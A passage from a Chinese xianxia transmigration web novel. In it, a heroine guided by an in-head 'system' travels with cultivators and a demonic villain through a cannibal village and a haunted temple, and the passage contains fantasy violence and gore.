是那个撞墙自尽的女子,她被吃了!
肚子像是被硬生生撕扯开一般,肠子落了一地,蹲在尸体前的怪物满嘴血色,他的手还放在尸体的腹中搅动,哗啦啦的声音就是这么发出来的,是血液的声音,是内脏互相碰撞的声音。
黎绕月被震在原地,纵使她杀人无数,食人肉这种情况她可是见所未见,这副场景竟比那日宗门被屠更加让人惊恐。
而岁忆谙没有尖叫出声,只是愣愣地看着,不知在想些什么,直到一只手挡在她眼前,她这才回过神来,扬起头,看见了一双冷漠又带着些柔情的眼睛。
两人对视不到三秒,靳江浛收回手,面无表情,只有还在微微颤抖的手诉说着他内心的不平静。
老村民紧锁眉头,吩咐道:“回房吃去,别脏了村道。”
几个怪物将尸体拉走,还用水清洗了地面。
白英空心脏剧烈跳动,他在充满秩序的宗门呆久了,未曾想外面的世界如此脏乱,他试图解释:“魔族作恶多端,众仙门也是为了人间才…………”
老村民忍不住吼道:“洛河村从未受到过魔族侵扰,魔族作不作恶与洛河村有何干系!”
他猛地抬手直指四人,眼神狠戾,道:“而你们,所谓仙人!”
“我不奢求你们能救洛河村,可你们却不肯收拾自己留下的烂摊子,还害得整个洛河村村民变成…………怪物。”最后两个字是老村民始终不愿承认的,可这就是事实。
“没有人会接纳食过同类的怪物。”
岁忆谙沉默,原来这才是村民们内心最深处的想法。
这是村民们觉醒了自我意识之后的想法,原剧情中的他们被迫接受自己的异常,又被迫答应主角恢复正常,他们的内心并不希望这样。
“你们还不走吗?”
面对老村民的询问,岁忆谙垂眸,其余四人面面相觑。
白英空还想在争取一下,袖子传来拉扯感,扭头望去,是岁忆谙拉住了他的衣袖,并朝他摇了摇头。
对方人数众多,倘若他们不退的话,八成会有一场硬战要打,他不能为了自己想救,就让其他人陷入危险的境地。<
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想到这儿,白英空只能作罢。
靳江浛将这一幕看在眼中,内心不悦,黑眸变得阴森无比,他朝村民道:“双色花能救你们,你们不要不知好歹。”
岁忆谙诧异地看向他,还伸手扯了他一把,心想着,大反派发什么疯,早不说话晚不说话,偏偏这个时候说话,语气还高高在上,生怕那些村民不会对他们出手…………
不对,靳江浛这么谨慎的一个人,怎么可能不明白这个道理…………他故意的!
“毁花!”
随着老村民一声令下,剩下的怪物朝四人冲去,五人只能迎战。
靳江浛拿着剑就冲了上去,剑光凌厉,剑下没留活口,招招死人。
黎绕月拿出骨笛吹了起来,笛声扰乱了怪物的心智,他们捂着脑袋挣扎,裴汔在一旁补刀。
白英空挥剑斩断他们的双脚,剑身染上了许多怪物的鲜血。
像是知晓岁忆谙是五人当中最弱的,大半的怪物都朝她攻来。
老怪物看了眼靳江浛,又看了眼岁忆谙,接着嘶吼一声,朝岁忆谙攻击的怪物们顿了顿,他们收起尖尖的指甲,接着继续攻击。
岁忆谙手上的符箓不多,攻击性的符箓用完后,便用了张隐身符,可是用了之后,却发现没有作用,那些怪物嗅觉灵敏,只要是人,他们都能精准地找到。
再这么打下去也不是办法,那些怪物受了伤,只要吸食了血肉,伤口就会恢复如初,断掉的手脚都会重新生长出来。
【零零零!】岁忆谙紧急求助。
【宿主大人,我只能为您一人设下结界,这个结界只能维持一刻钟。】
零零零的能力有限,虽然能保她不死,但伤害可是实打实的,它七日内只能帮助岁忆谙三次,只有在危机关头,岁忆谙才会让它帮助自己,大部分时间都是岁忆谙自己一人在抗。
【知道了。】
今早零零零已经护过她一次了,现在是第二次。
岁忆谙手腕上的零零零发出金色光芒,将她周围的怪物击飞,一层金色结界将她护住,动静之大,吸引了其他四人的目光。
岁忆谙从怀里掏出一本古籍,上面记载了各种符箓术法,是当初零零零给她的,她翻过几页,找到了自己想要后打算当场画符。
靳江浛杀得太入迷,听见动静后才想起岁忆谙,一脚踹开怪物,在人群中寻找着岁忆谙的身影,只见她蹲在地上,周围是密密麻麻的怪物。
靳江浛心中一惊,急忙朝她奔去,杀死外围的怪物,焦急道:“岁忆谙,你怎么样了?!”
情急之下,靳江浛喊出了岁忆谙的真实姓名,他冲进去后,却发现岁忆谙正拿着朱砂笔在黄符纸上在涂涂画画。
岁忆谙听见声音抬头,诧异出声:“靳江浛?”
她看了眼周围,怪物还在试图打破结界,而靳江浛竟然越过结界走进来了!
“你怎么能进来?”岁忆谙心生疑惑,靳江浛竟然能无视零零零布下的结界,他该不会真是皇族吧。
靳江浛的心绪都在岁忆谙身上,他并未深思,问:“你在画什么符?”
9. 背你
“待会儿你就知道了。”岁忆谙明亮的棕眸闪过一丝兴奋,她将靳江浛拉到身后,朝天空甩出画好的符箓。
“尔等刹那———定!”
符箓飞向半空,应声炸裂,光芒四射,美得像是烟火,炸毁的符箓灰烬散落在每一个人身上。
刹那间,在场除岁忆谙以外的所有人瞬间被定住,不明所以的黎绕月几人十分慌张。
“成功了………”岁忆谙松了口气,这还是她第一次画能定那么多人的定身符。
在漫天纷飞的灰烬中,靳江浛被护在自己身前的背影晃了眼,他没有感应到肩上落下了一点灰。
下一秒,靳江浛只觉得自己浑身动弹不得,体内像被下了某种禁制,他从未遇到过,想用魔力冲开,却徒劳无功。
岁忆谙转身就看见眼珠子乱转,一脸狼狈样的靳江浛,她忍不住笑出声来。
“你呢,就先在这里乖乖待着,姐姐等会儿再解开你的定身咒。”说罢,岁忆谙还上手拍了拍靳江浛俊俏的脸庞,恶趣味十足,她转身离开。
不给他解开,也只是因为靳江浛的行为实在古怪,他的心里可能还存有杀死男女主的心思,让他定定也好。
靳江浛只感到自己被羞辱了,耳朵染上红晕,虽然他小时候经常叫岁忆谙姐姐,但他现在都已经一百多岁了,怎么可能还叫她姐姐。
岁忆谙越过人群,来到其余三人面前,一人拍了一下肩膀。
三人发现自己能动了,黎绕月察觉到这是岁忆谙的手笔,她收起骨笛,真诚地朝岁忆谙抱拳。
“多谢岁姑娘相救。”
裴汔也抱拳谢她。
白英空一脸仰慕,想向岁忆谙请教一下,她是怎么把所有人定住的,要是她能教自己的话,自己还可以教给宗门的师妹师弟,维护天下和平的想法就能进一步视实现了。
他凑到岁忆谙跟前说:“岁姑娘,你也太厉害了吧,这个…………”
“是挺厉害的。”
白英空话还没说完,一道身影插进他与岁忆谙中间,是靳江浛。
岁忆谙诧异地看向靳江浛,他怎么能动了?
靳江浛只是被定了一小会儿,一来就看见白英空眼神紧紧盯着岁忆谙,心里顿时气愤不已,不去找女主聊天,找岁忆谙做什么。
他没让两人接着聊下去,岔开话题道:“还是先想想怎么解决他们吧。”
说到这儿,白英空想起了那个撞墙自尽的女子,他开始苦恼。
“倘若她正如江浛所言,因食了人肉而撞墙自尽,那我们就不能将村民变回正常人了。”
说到这儿,岁忆谙的注意力从靳江浛转向了这些变异的村民,倘若救了他们,就是违背他们意愿,倘若不救他们,就会有更多无辜之人惨死,这到底该怎么办?
岁忆谙叹气:“怎样做都是错,那不如不做,或者都做。”
正因为岁忆谙不是书中人,而是书写者,在书外,她做不到感同身受,也不懂有了自主思想的他们,为此她感到自责与惭愧。
深思熟虑,岁忆谙道:“他们想怎样便怎样吧,我…………我们都无权替别人做出选择。”
“当然,你们若是想救的话,我是支持的,不救的话,我也是支持的。”
白英空一听,只觉得岁忆谙说的是句废话,但也不能打击她的积极性,可想夸却不知夸什么,便道:“岁姑娘的这个建议………还真是个建议。”
紧接着,靳江浛又发表了他的意见,“依我看,将这些鬼东西杀个精光不就好了。”
白英空迅速否决:“你的建议我们是不会采纳的。”
现如今,最重要的还是解决村民们的问题,靳江浛的心思他怕是扭转不回来了,白英空只能尽量看着他,约束他。
黎绕月灵光一闪,说:“不如抹去他们的记忆,只要抹去记忆,他们就不会记得自己食过人,也不会伤人了。”
“这个建议不错。”
说干就干,白英空运转灵力,将灵力注入进双色花中,顿时,双色花发出耀眼的光芒,光芒朝周围散开,拂过村子的每一寸。
原本干枯的荒地恢复生机,黑色的河流变得清澈,堆积在天空上的乌云散去,阳光洒在村子的每一个角落,村民们的身躯也恢复成寻常人的模样。
之后,除岁忆谙和靳江浛之外,其余三人共同抹去了村民们的记忆。
岁忆谙灵力不足,她就站在一旁静静地看着,神情落寞。
以伤势还未恢复为借口的靳江浛站在一旁,他察觉到岁忆谙的不对劲,眸子染上一丝关切,问:“岁姑娘怎么一副心事重重的模样?”
岁忆谙侧头看他,心想,靳江浛是书中人,还是书中第一个自我意识觉醒的角色,或许他更懂得书中其他人的想法。
她问:“你认为他们是怎么想的?”
“什么?”靳江浛没理解她的问题。
听到靳江浛的反问,岁忆谙突然不想问了,靳江浛不仅是魔族,更是反派,能想出什么大道理,她还是自己独自思考吧。
岁忆谙摇摇头:“没什么。”
靳江浛见岁忆谙脸色哀哀,虽不知她在想什么,但潜意识里还是想像小时候那样哄她开心。
百年前,岁忆谙偶尔会坐在屋顶上眺望远方,身上散发出无比孤寂的气息,偶尔眺望东边,偶尔眺望北边。
而靳江浛不知晓她为何不开心,每当这个时候他就会使用惑术,可岁忆谙不仅会对他的惑术免疫,还能发现自己对她使用了惑术,接着岁忆谙就会放下不开心的事来揍他。
靳江浛坚信终有一日,自己的惑术能够成功蛊惑岁忆谙。
那他现在要向岁忆谙使用惑术吗?
岁岁与靳江浛心有灵犀,它的剑身闪了一下。
靳江浛看向岁岁,想了想,还是算了,接着他将长剑举起,故意将剑柄上的谙字怼到岁忆谙面前,说:“今早在洛河村,岁岁救了你,你不应该跟岁岁道谢吗?”
岁岁好似听懂了,又闪了一下。
岁忆谙看都没看靳江浛一眼,而是伸出食指戳了戳岁岁,笑道:“谢谢你了岁岁,你真是把好剑。”
话落,岁岁再次闪了一下。
这殷勤的模样让靳江浛不爽,他狠狠地剐了眼岁岁,又用哀怨的眼神看着岁忆谙。
“岁江南。”
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岁忆谙似乎没意识到他的不对劲,头也不抬地问:“怎么了?”
见她无视自己,靳江浛咬牙切齿,在刚才两人都互道真实姓名了,现在还跟他装陌生人。
“好名字。”
岁忆谙终于赏了个眼神给他,语调上扬:“当然。”
两人又等待了将近半个时辰,三人才解决完一切。
白英空额上还冒着薄汗,为了抹去村民们的记忆,本要枯竭的识海又被耗了太多灵力,他微微喘着气,说:“好了,岁姑娘,还得劳烦你解开他们身上的定身咒。”
“差点忘了…………”
岁忆谙向天空抛出早已画好的符箓,道:“好了,半个时辰后他们就会恢复过来,我们走吧。”
由于白英空灵气耗尽,黎绕月与裴汔也装得一副灵力耗尽的模样,五人不舍得让岁忆谙耗费灵力画符,也没有多余的灵力去控物飞行,接下来的路只能靠脚走了。
高高的山头上,岁忆谙忍不住回头望去,被高山四面环绕的洛河村,整座村子绿油油的,不像之前那样压抑,也不知晓失去记忆的村民们的心思又是如何。
天色渐深,月上梢头,白英空走在最前头开路,靳江浛殿后,林间的蝉声真是吵闹,令岁忆谙烦躁不已。
五人从申时一直走到次日子时,岁忆谙还没走过这么久的路,其他四人健步如飞,唯有她的步伐越来越重,脚印越来越深。
“不行了,我走不动了。”岁忆谙头发凌乱,眸子里充满着浓厚的怨气,她倚在一棵树上,随即瘫倒在地,她都一天没吃东西了,要不是之前为了修法术辟谷过一段时间,现在怕是要昏过去了。
零零零在脑海中为她加油打气:【宿主大人加油啊!我们要跟上主角的步伐。】
【你说得倒轻松,自己下来爬几个时辰试试,不帮我就算了,还尽说风凉话。】
【零零零的作用,得在关键时刻发挥才更有价值。】零零零笑嘻嘻地说着,但岁忆谙总感觉它话里有话。
【麻烦你滚一下。】
手中的符都用完了,本想着用掉那一张瞬移符,但是他们四人都在走,她怎么能先跑呢?这太不讲义气了。
四人都忘了她修为低下,走了这么久肯定累。
白英空面上带着些懊恼,而靳江浛若有所思。
黎绕月见状便提议找处地方歇歇脚,说着裴汔就飞身上树,没一会儿就跳了下来。
“前头有座小庙,我们去那里吧。”
岁忆谙见他们都把地选好了,也不好现在休息,反正也要到了,她撑着身子站起,还未走几步,面前就蹲着一个人。
“我背你。”
冷峻的声音回荡在林间,只见靳江浛背对着她,单膝下跪,肩宽背厚,看上去有着十足的安全感。
不光岁忆谙愣住,其余三人也跟着发愣。
黎绕月以为会见到男子背着自己心爱的女子,顶着月光漫步在林中。
这是多么浓情蜜意的一幕啊,结果她就听见岁忆谙说。
“其实也不用,你把岁岁借我好了。”
靳江浛身子一僵,回头望她,眼神似是在说剑不如他。
10. 被遗忘的城隍庙
岁忆谙双眼冒光地盯着岁岁,与其让靳江浛背,不如让岁岁将她送去,还能兜风,而岁岁开始抖动,挣脱开靳江浛的手,冒着光朝岁忆谙飞去。
岁岁好像十分喜欢岁忆谙,靳江浛从百年前就能看出来。
裴汔望着靳江浛阴沉的脸色,笑道:“差点忘了,靳道友的灵力比不上我们,不能载我们四人,但载岁姑娘还是绰绰有余的。”
岁忆谙一听,心中为裴汔烧了几炷香,这话说的也不怕大反派打他,不过大反派应该不会跟他计较的吧。
岁忆谙提起裙摆,露出了脏兮兮的布鞋,鞋底早已被石子磨破,她踩上剑身站稳之后,岁岁唰的一下就冲了出去,空中只留下她的一句话:“我在前头的古庙等你们啊!”
“靳道友的配剑这么听岁姑娘的话呀。”人最喜欢吃瓜了,黎绕月的话里带着些许笑意,能噎靳江浛几句的机会她可不会放过。
白英空解释道:“若配剑的主人不同意,岁姑娘就算是说一百句,剑灵都是不会听的。”
靳江浛的眼睛从瞪裴汔到瞪白英空,却被白英空一个巴掌拍得头都蒙了。
“瞪什么,我是你师兄,懂不懂敬长。”
在岁忆谙与靳江浛吵完后,白英空就想好了,他与靳江浛的关系还是不够亲近,靳江浛肯定是太内向了,不然他怎么喊不了自己师兄呢?
自己身为靳江浛的师兄,自然要主动接触他,让他变得外向些。
白英空想完后,又朝黎绕月与裴汔道:“让两位见笑了,我们走吧。”
三人不再理会靳江浛,靳江浛眼神狠厉地看着他们的背影,恨不得现在就弄死他们,但为了岁忆谙,他也只能愤愤地踢了一脚旁边的大树。
耳边呼啸,感受着迎面袭来的凉风,岁忆谙舒服地眯了眯眼,还未等她多感受一会儿,风就停了。
面前伫立着一座城隍庙,城隍庙外观破烂,岁忆谙下了剑径直走进去,被忘在原地的岁岁只能自动飘在她身后,跟着她。
一推木门,砰!
木门倒地,溅起落叶灰尘,岁忆谙咳了几声,用手挥开尘土,仔细打量着院里。
庙上的瓦砖掉了几块,月光洒进庙里的神像上,神像头戴官帽,手持笏板,身上落了厚厚的一层灰,看不出本身的颜色。
“也不知晓这里供奉的城隍爷是谁。”
岁忆谙四处看了看,墙壁上的雕刻精美,可惜过了太久,颜色褪尽。
“城隍爷,借贵庙小住一宿,多谢。”
岁忆谙朝城隍爷鞠了一躬,之后就走到一旁,随地坐下。
没等来黎绕月他们,倒是等来了一位身着嫁衣的女子,女子进庙后,径直朝城隍爷跪了下去。
“城隍爷,小女阿纸,今日前来,所求只为一事,小女愿用余生换我阿妹平安,求城隍爷垂怜。”说完,女子磕了三个响头,便跑了出去。
岁忆谙懵懵地看着女子跑进来跪下说话,说完话又磕头再跑出去,这一举动不超过一分钟,女子慌里慌张的,应该是遇到了麻烦,哪家哪户会在半夜嫁女的,真是奇怪。
岁忆谙追了出去,那女子就在她的前方不远处,她喊道:“姑娘!姑娘!”
前头那女子脚步顿了顿,接着跑得更快了,还没等岁忆谙快跑追去,突然有人出现拦住了她。
“怎么了?”
岁忆谙看向拦住她的靳江浛,再看向远处时,前方已经空无一人了。
林子里的树干稀疏,那抹红色瞬间消失在了眼前,岁忆谙四处张望都没瞧见那女子。
黎绕月几人走上前来,岁忆谙连忙询问:“你们刚刚……有没有看见一位身穿嫁衣的女子?”
“身穿嫁衣的女子?”黎绕月摇头,回头望了眼裴汔,他同样摇头。
白英空一脸疑惑地看着岁忆谙,也说:“没有啊。”
裴汔质疑道:“谁家会在大半夜娶妻?”
听到这话的靳江浛闭上眼,将意识放了出去,什么都没探查到。
黎绕月惊呼:“你不会是撞见了什么不干净的东西了吧。”
呼呼的风声响起,犹如鬼魂在诉说,在哭泣,三更半夜,破烂的城隍庙,身着红色嫁衣的女子,怎么想都吓人。
岁忆谙一怔,仔细回想,那女子进来时有影子,她能感受到女子话语里流露出来的情绪,她反驳道:“不可能,那肯定是个人。”
岁忆谙挣脱开靳江浛的手想继续去寻,靳江浛瞥了眼黎绕月,红光快速闪过。
黎绕月立马走过来,揽着岁忆谙的肩膀将她带进城隍庙,她道:“好了,不想这些了,今晚我们就在庙里休息。”
几人走进城隍庙,裴汔收拾了下地面,为黎绕月找了处干净的地方。
白英空则在城隍庙里探了个遍,确认没有危险后,盘腿坐下。
岁忆谙问:“白兄,你不休息吗?”
“不了,我还要修炼。”说罢,白英空闭上眼睛。
岁忆谙感叹,真努力,转头看向黎绕月与裴汔,他们已经开始修炼了。
她…………太困了,还是先睡觉吧,睡醒了再修炼。
岁忆谙随意地躺在地上,闭上眼。
而靳江浛待在一旁守夜,还为岁忆谙生了火,火光映在她的脸上,暖洋洋的。
明月高高挂,地上的柴火还在不停燃烧。
岁忆谙突然惊醒,她发现身上盖着黑色披风,上面还有淡淡的桃花香,好熟悉的味道,在哪儿闻到过呢?
随即她发现自己正躺在一堆稻草团上,稻草团上还铺了一块布,柔软且不扎人,她记得自己躺的是冰冷的地板,怎么躺到这儿来了?
岁忆谙拢过披风站起身来,黎绕月与裴汔的姿势依旧是盘腿坐着,白英空靠在木柱上睡得正香,靳江浛却不见踪影,他会去哪儿呢?
对了,靳江浛怎么能越过零零零布下的结界呢?还有他怎么能解开自己的定身咒?
世界一:主角团杀了靳江浛,成功维护世界和平。
世界二:靳江浛意识觉醒,反杀主角。
世界三:时光倒流,靳江浛失去所有记忆,紧接着是她的到来。
百年前,她任务失败,百年后…………就是现在,靳江浛不该入凌仙宗,可他却入了凌仙宗和主角混在了一起,这就证明现如今的他意识已久觉醒了,或是他得知了什么,不然他怎会现在找上主角。
而且靳江浛还有可能会伤害男女主。<
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p>岁忆谙思绪混乱,她突然想家了…………
她走出城隍庙,站在院中,默念咒法,借周围的灵力飞身上了屋檐,坐在了最边边的梁上。
夜空中闪烁的繁星,岁忆谙仰着头,一颗一颗数着,忽然,一个不停晃动的东西吸引了她的注意,仔细一瞧,那个东西长的好像是一只鸟,鸟上还绑着一根线。
“谁大半夜放纸鸢啊?真是奇怪。”
纸鸢越飞越高,几乎要与月亮重合,月光照下,洛河村的村民早已进入梦乡,唯有一个身躯佝偻,手持拐杖的老村民在村道上走着,拐杖底接触地面发出了轻微的咚咚声。
老村民面前忽然出现了一个男子,男子逆着月光,绿衣上泛着丝丝的白光,周身黑气笼罩,身后飘着长剑,阴森诡异,像是从地狱里出来的恶魔。
“岁岁,杀了他。”
岁岁应声而出,剑身散发着阵阵寒气,老村民毫不畏惧,用浑黄的双眼注视着他,缓缓开口:“你是魔,我闻得出你身上的味道。”
剑尖离老村民只剩下一丈远时,猛地停下。
靳江浛懒懒地看了老村民一眼,显然是在等他继续说下去。
“在你第一次出现的时候,我就感受到了你身上的魔力,虽然你掩盖得很好。”
在那五人中,老村民一眼就注意到了靳江浛,也是因为靳江浛,他才会放他们离开,可没想到靳江浛故意激怒他们。
以他阅历,他怎会看不出是因为那个穿着苔绿色衣裙的女子,而他也吩咐了怪物们不准伤那女子,这也是为了能让靳江浛杀了他们,不过现在看来,不伤那女子真是一个愚蠢的举动,杀了她显然更有用。
“我十分激动,体内的血液更因同类而沸腾,你是世上最后一个纯种的魔。”
靳江浛嗤笑一声,冷漠道:“我不是牲畜,不论血统那一套。”
老村民笑了笑:“你就不好奇,我们为何还记得这一切吗?”
话音刚落,家家户户的房门被打开,本该熟睡的村民们纷纷走了出来,有老有少,还有怀里抱着婴孩的,他们的眼睛统统注视着靳江浛。
“是因为你的魔力。”
靳江浛一怔,有些不明所以。
老村民闭上眼睛,双手放在拐杖上,接着说:“杀了我们吧…………”
“杀了我们吧…………”
“杀了我们吧。”
“杀了我们吧!”
村民们一直重复着这段话,语气从最开始的摇摆不定变得坚定不移,这阴暗的场景加上这话的含义,即使是铿锵有力的语气,也透露出一股子邪气。
村子四面环山,声音回荡在山里,吵得靳江浛耳朵疼,他道:“我本就是来杀死你们的。”
老村民愣了一下,问:“为何?”
“想杀便杀了,哪有那么多为何?”
老村民欣喜道:“真的吗?那太好了,动手吧。”
他们蚕食同类,本就是怪物,哪怕换了衣衫,改头换面重新来过,也回不到从前了。
“那这也太无聊了,既然你们自愿赴死,那我就不必一个一个杀了,费时费力。”靳江浛的嘴角微勾,漆黑的眸中总是带着一丝笑意,令人不寒而栗。
11. 去你爹的
砰!
村里的小溪突然炸开,溪水四溅,草尖儿上的水滴缓缓升向半空,在皎洁月光的照耀下,水滴凝结成一根根透明长针,反着亮光。
晶莹剔透的长针朝村民们飞驰而去,散发着阵阵寒气,长针尖头细小无比,针尖儿紧紧贴着村民们的皮肤。
众人惊恐,谁都不敢动,生怕动弹一下,那些长针就会扎进他们的血肉当中。
“这是什么?!”
靳江浛笑着说:“魔族的…………穿梭针,我新取的名字,刺入皮肉之后,就顺着你的血液游走,在你体内四处穿梭,说不定会将你们的内脏都缝起来。”
话语间,岁岁早已回到了靳江浛的手里。
看着围绕在村民周围的长针,老村民苦笑道:“你真狠。”
靳江浛挑眉:“当然。”
“你们要知道,我不是一个好人。”
靳江浛是想杀死他们,但他不想让村民把死认为是一种解脱,他可不是什么好人,死是一件极为痛苦的事情。
不过片刻,耳边回荡着村民们哀嚎与啼哭,靳江浛看着村民们面目狰狞的表情,心中愉悦,他仰头望了望天,天快亮了,他还有好多事情没做。
靳江浛一个转身消失在原地,又一个村子覆灭,真好…………
下一秒,靳江浛的身影出现在魔境,他四处走动,看这模样似是来逛街的,突然眼睛一亮,他踢开脚边碍事的枯骨,弯腰捡起一个长相还不错的头颅,端详过后,拎在手里离开。
天色大亮,岁忆谙睡了顿回笼觉,醒来却发现白英空还闭着眼,而黎绕月与裴汔还在修炼。
不应该呀,她记得凌仙宗每日寅时就会起床操练,怎么这个时候还没醒?生物钟都得提醒他起来了。
还有靳江浛呢?一晚上没回来。
岁忆谙打了个哈欠,望着柴火发呆,这火燃得真美,一晚上都不灭。
清晨的微光撒落整座城隍庙,空气中弥漫着一股青草味。
啪嗒————
雨滴落下,靳江浛赶在下雨前最后一秒进了城隍庙,刚踏过门槛,后脖颈便被不知名的东西抵住。
早在靳江浛进来的时候,他就感应到了门后有人,但他丝毫不在意。
靳江浛微笑着缓缓转身,在看到她身上还披着自己的披风时,眼底笑意更盛,他人畜无害地问道:“姐姐,你又想杀我?”
“你杀了他们。”岁忆谙肯定道,夜不归宿,以她对靳江浛的了解,这就像百年前那样,不是去杀人就是去杀人,至于杀了谁………………她不想知道。
她刚才察看过了,白英空被人弄昏迷了,其余两人修炼时屏蔽了五感,并不知晓外界发生的事情。
弄昏白英空的人除了靳江浛,她实在是想不到还有谁会这么做。
靳江浛眼底闪过一丝慌张,此刻的情形像是回到了百年前,他绝不会承认,只要不承认,岁忆谙就不会离开。
“我听不懂姐姐说的话。”
“听不懂人话?”岁忆谙垂下手臂,扔掉了手上的树枝,话说完后余光瞥见有两人站起身来。
靳江浛都要被她的话气到心梗了,正要开口,却见岁忆谙的视线正看着他身后。
察觉有人醒了后,靳江浛头也不回,冷声呵道:“滚出去。”
黎绕月与裴汔愣了一瞬,随后走出城隍庙,但并未走远,而是掩盖气息偷摸听着。
岁忆谙震惊看了眼出去的两人,又震惊地看向靳江浛。
“他们怎么这么听话?还是听你的话?”
靳江浛听到岁忆谙的质疑,他无辜地眨了下眼,低声说:“惑术而已。”
岁忆谙才不信,两人可没有被迷惑住的表现,她也不是非要让靳江浛承认自己杀人,她这么做只是变相提醒他一下,反正他只要不伤害黎绕月与白英空就好。
倘若这两人中途死了,那她还怎么和主角走到大结局。
岁忆谙想越过靳江浛,手腕却被他擒住,手腕被猛地一拽,整个人就站到了他面前。
靳江浛朝她逼近几步,话里带着怒意:“岁忆谙,你还想装作不认识我吗?”
高大的身躯充满着压迫感,岁忆谙感觉有些不适,她蹙眉,歪着脑袋看他,不解地说:“哪有的事,你喊我岁忆谙,我不是没有否认吗?”
认不认识对岁忆谙来说不重要,现如今,她的任务对象又不是靳江浛。
靳江浛愣了一瞬,接着笑了,他是被气笑的,他表现得还不够愤怒吗?怎么岁忆谙就能把话说得如此轻飘飘?
望着那张白皙的小脸,靳江浛努力克制住自己的手,他说:“百年过去,姐姐的性子还是和以前一样,姐姐一介凡人,容貌竟丝毫未变,能否告诉江浛是用了什么邪术呢?”
岁忆谙烦躁地背靠墙壁,眼神幽幽,说她用了邪术?那倒也正常,毕竟她可没经历过百年沧桑,她伸手抚上靳江浛的脸,轻声说:“百年过去,你都长这么高了,除了我,没人知道你是百岁老人,至于我的容貌…………”
脸颊上的触感令靳江浛呆住,他已经听不清岁忆谙在说什么了,砰砰砰的心跳声回荡在耳边,结果下一秒就被泼了一盆冷水。
“关你屁事!”
岁忆谙顺势推开靳江浛的脸,让他与自己拉开距离,并警告道:“我告诉你,你爱怎样怎样,但别对黎绕月和白英空动手。”
外面偷听的黎绕月在听到最后一句时,心也跟着乱跳着。
靳江浛被推得一个踉跄,心跳瞬间恢复平静,听到这话,他更加生气,黎绕月与白英空就对她这么重要吗?难道还比不上自己与她相识百年的情谊?
靳江浛的眼神死死地盯着岁忆谙,身上魔气四溢,他厉声道:“哦?倘如我非要让他们死呢!”
岁忆谙毫不犹豫地说:“那我不建议再杀你一次!”她清楚自己杀不了靳江浛,说这些无疑是放狠话而已。
屋外的两人感受到了魔气,还来不及震惊,下一瞬,那魔力消失得无影无踪。
气氛僵硬,雨声不断,两人对立而站。
滴!
刺耳的警报声响起,岁忆谙错愕,一日之内响起两次警报声,靳江浛还真去杀人了?不过她不担心,零零零说过她不会死的。
与此同时,她也并未发现靳江浛的异样。
她以为只有自己一人能听到警报声,殊不
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知靳江浛也能听见。
警报声只响了几秒就停了下来,靳江浛收敛四散的魔气,他静下心。
未曾想过,百年了,岁忆谙还留有杀死自己的心思,明明人就在眼前,可他只觉得自己与岁忆谙的距离好远…………好远。
岁忆谙看了眼外头连绵不断的雨,解下披风还给靳江浛,并对他说:“等雨停了就把白英空喊醒。”
靳江浛看着怀中的披风,心中无比落寞,他深呼吸,手腕一翻,掌中就出现了个用油纸包裹住的东西。
“给你买的肉饼,趁热吃吧。”
靳江浛见岁忆谙一整天都没吃东西,想她应该会饿,便跑到离这儿最近的小镇上,买了吃食还有一些换洗衣物。
岁忆谙愣住,震惊地看着鲜肉饼,又看着靳江浛,她与靳江浛刚刚算是在吵架吧?靳江浛不会一气之下把她毒死吧。
靳江浛看出岁忆谙在想什么,将鲜肉饼塞到她手里,说:“没毒。”
鲜肉饼还有些烫手,岁忆谙掀开油纸,咸香扑鼻,她本来还可以忍的,但一闻到香味就忍不了了,看着正在唤醒白英空的靳江浛,她想着还是吃了吧,不吃浪费。
刚想上咬一口,手指莫名颤抖,鲜肉饼从手中滑落。
啪嗒!
靳江浛听见动静转身看去,鲜肉饼掉在地上,原以为是她不愿吃才丢的,结果却见她也倒在地上,浑身颤抖。
“岁忆谙!”
靳江浛几步跨到岁忆谙身边,想将她抱在怀里,还没碰到她,她便大喊:“别碰我!”
靳江浛不知晓她怎么了,不敢动她。
屋外听见动静的两人走了进来,黎绕月看见倒在地上的岁忆谙,心中一慌,急忙跑去。
岁忆谙只感受到躯体,以及五脏六腑都毫无缘由地疼痛起来,仿佛被一刀一刀割开,随之又传来撕裂伤口的痛感。
“岁忆谙,你怎么了?”
“是不是这个饼有问题?”
岁忆谙脸色一下子就变得惨白如雪,她疼得说不出话来,只能在脑海中问零零零:【零零零…………我这是怎么了?】
零零零:【宿主大人只要对靳江浛起杀心,主系统就会惩罚您。】
岁忆谙无语,不知该用什么样的词汇去形容她此刻的心情,她只骂道。
【去你爹的!】
【宿主大人,请文明用语…………】
听见零零零的劝解,她怒道:【你还不快想办法解决!】
【一刻钟后就会好了,宿主大人忍忍吧。】
零零零声音逐渐变弱,它见岁忆谙疼得实在厉害,又道:【宿主大人加油!】
【滚!】
“岁忆谙!岁忆谙!”
一刻钟不到,岁忆谙便疼晕了过去,晕过去前还在惋惜鲜肉饼,她一口都没吃啊,浪费了。
又是四月十七,除去那百年,岁忆谙来到这个世界整整一年了。
在这一年里,岁忆谙很少想起她的父母,因为人一旦开始思念,念想怎么断也断不了了。
虽然零零零说,现实世界的时间是静止的,她不用担心父母会发现她失踪,可她在这儿也足足呆了一年。
12. 柳梢残日弄微晴
寂静的厢房里,床榻上的女子睁开双眼,她撑着身子坐起来。
岁忆谙做梦了,梦见了现实世界的一切,可惜模糊不清,不过这也正常,梦都这样,一觉醒来就什么都不记得了。
轻微的吱呀声响起,门被打开,一女子走了进来。
“忆谙姑娘,您醒了。”
岁忆谙抬头看去,险些被吓了一跳,女子表情僵硬,双眼空洞无神,面色惨白着实怪异,她的手里还端着一个木盘,木盘上放着碗热气腾腾的素面。
她刚刚称呼自己为忆谙,她知晓自己的真实姓名?在这个世界,除了靳江浛就没人知晓自己的真实姓名。
不对,在昏迷前她看见了黎绕月,靳江浛在那个时候说出了她的名字,那不就让黎绕月知道自己在骗她了?
真烦。
岁忆谙问:“你是谁?”
女子将头低下一点,双眸与岁忆谙对上视线,她仿佛没有察觉到岁忆谙防备的语气,嘴角慢慢地勾起一抹微笑,说:“我没有名字,姑娘可否为我取一个名字?”
“什么?”
岁忆谙懵了,还以为自己刚睡醒听错了
门又被人推开,黎绕月与裴汔走了进来,刚才黎绕月见有陌生女子进了厢房,她担心起了岁忆谙的安危,便快步追进来。
见岁忆谙安稳地坐在床上,黎绕月松了口气,她来到床边,而裴汔搬了张凳子给她后又站到门口。
黎绕月坐下,眼中的担忧与探究参半,她关切道:“岁姑娘,你没事吧。”
岁忆谙摇头,迷茫地眨了下眼,环顾四周,简陋的桌椅床榻,布置只比洛河村好上那么一点,她问:“这是哪儿?”
“这里是安宁村,是离城隍庙最近的村落。”
